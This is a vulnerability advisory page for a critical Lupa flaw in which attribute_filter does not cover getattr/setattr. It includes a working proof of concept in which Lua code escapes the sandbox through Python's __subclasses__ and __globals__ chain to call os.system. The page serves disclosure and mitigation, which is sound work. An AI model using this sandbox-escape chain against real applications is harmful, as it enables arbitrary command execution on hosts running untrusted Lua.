CVE-2026-34444Critical· 10.0▾ AbyssalPoC availableLupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr
▾ Abyssal zone — Critical with a public exploit or in-the-wild use
impact 55 · likelihood 0.1 · exploitation 12
A public proof-of-concept already exists for this vulnerability — see Exploit availability below.
Public exploit / PoC code seen in 1 source. Availability, not in-the-wild use.
Exploit-prediction probability, daily snapshots since Jul 13.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
0.6%
1 GitHub repo
Last analysed / modified upstream
The attribute_filter in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.
However, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.
The attribute_filter is meant to block access to attributes such as __class__, __mro__, and similar internal properties.
In practice, it only applies to direct attribute access:
obj.attr → filteredgetattr(obj, "attr") → not filtered
Because of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.An attacker can use getattr to-
__class____mro__ chain__subclasses__()__globals__os.systemAt that point, arbitrary command execution becomes straightforward.
This effectively breaks the security boundary that attribute_filter is expected to enforce.
The following example shows how the filter can be bypassed to execute os.system:'
import lupa
from lupa import LuaRuntime
def protected_attribute_filter(obj, attr_name, is_setting):
if isinstance(attr_name, str) and attr_name.startswith('_'):
raise AttributeError(f"Access to '{attr_name}' is forbidden")
return attr_name
lua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)
class UserProfile:
def __init__(self, name): self.name = name
lua.globals().user = UserProfile("test")
lua.execute("""
local py = python.builtins
local getattr = py.getattr
local setattr = py.setattr
local cls = getattr(user, "__class__")
local _, obj_cls = getattr(cls, "__mro__")
local subs = getattr(obj_cls, "__subclasses__")()
for _, c in ipairs(subs) do
if tostring(c):find("os._wrap_close") then
local system = getattr(getattr(c, "__init__"), "__globals__")["system"]
setattr(user, "run", system)
user.run("id")
end
end
""")
An attacker who can execute Lua code can:
attribute_filterThis leads to full sandbox escape and arbitrary command execution in the host Python process.
Any application relying on attribute_filter as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the register_builtins=False option.
lupa <= 2.6Refer to the advisory for the patched release.
Field changes observed since this record was first indexed.